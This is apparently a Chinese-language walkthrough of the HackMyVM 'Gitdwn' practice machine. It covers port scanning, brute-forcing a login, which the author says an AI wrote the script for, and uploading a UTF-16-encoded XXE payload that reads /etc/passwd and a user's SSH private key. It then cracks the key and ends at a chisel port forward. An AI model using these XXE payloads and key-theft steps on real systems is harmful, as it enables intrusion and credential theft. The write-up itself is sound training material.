HMV-Gitdwn靶机通关复盘

┌──(kali㉿kali)-[~/test]
└─$ nmap -p- --min-rate 10000 192.168.186.196
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-11 23:43 EDT
Nmap scan report for 192.168.186.196
Host is up (0.20s latency).
Not shown: 62093 filtered tcp ports (no-response), 3440 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 37.90 seconds

直接dirb扫描看一下

┌──(kali㉿kali)-[~/test]
└─$ dirb http://192.168.186.196

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Mar 11 23:44:59 2026
URL_BASE: http://192.168.186.196/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.186.196/ ----
==> DIRECTORY: http://192.168.186.196/api/
+ http://192.168.186.196/index.html (CODE:200|SIZE:1998)
==> DIRECTORY: http://192.168.186.196/libs/
+ http://192.168.186.196/server-status (CODE:403|SIZE:280)

---- Entering directory: http://192.168.186.196/api/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.186.196/libs/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

查看后，都没什么东西

进入http://192.168.186.196，发现要登录

简单尝试sql无果，burp抓包尝试

发现登录信息被加密了，在http://192.168.186.196的源码里发现 login.js ，里面有加密信息

把表单和login.js给ai，让他写个爆破脚本

得到凭据 admin:hotdog

进入后，发现要上传xml文件，还告诉会执行

编辑hack.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

发现无法上传，经过一番查找，可能是编码有问题，换个编码方式再上传

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

把这些写进去后，记得设置编码!

:set bomb " 添加字节顺序标记(BOM)，帮助识别UTF-16编码
:set fileencoding=utf-16le " 设置为UTF-16小端序编码
:wq

上传成功，马上就自动执行了，发现用户

git 和 bilir

经过尝试，读取到git的私钥，（读取私钥尝试 id_rsa、id_ed25519、id_ecdsa）

发现了id_ed25519

然后就是ssh2john和join破解了

可以登陆了

ssh git@192.168.186.196 -i id_rsa

连接git后，查找信息，无sudo，suid与特殊文件，定时任务等，但发现

git@gitdwn:~$ ss -tulp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:bootpc 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:3000 0.0.0.0:* users:(("gitea",pid=289,fd=13))
tcp LISTEN 0 20 127.0.0.1:smtp 0.0.0.0:*
tcp LISTEN 0 128 *:http *:*
tcp LISTEN 0 128 [::]:ssh [::]:*
tcp LISTEN 0 20 [::1]:smtp [::]:*

端口转发出来到kali，我这里用的是chisel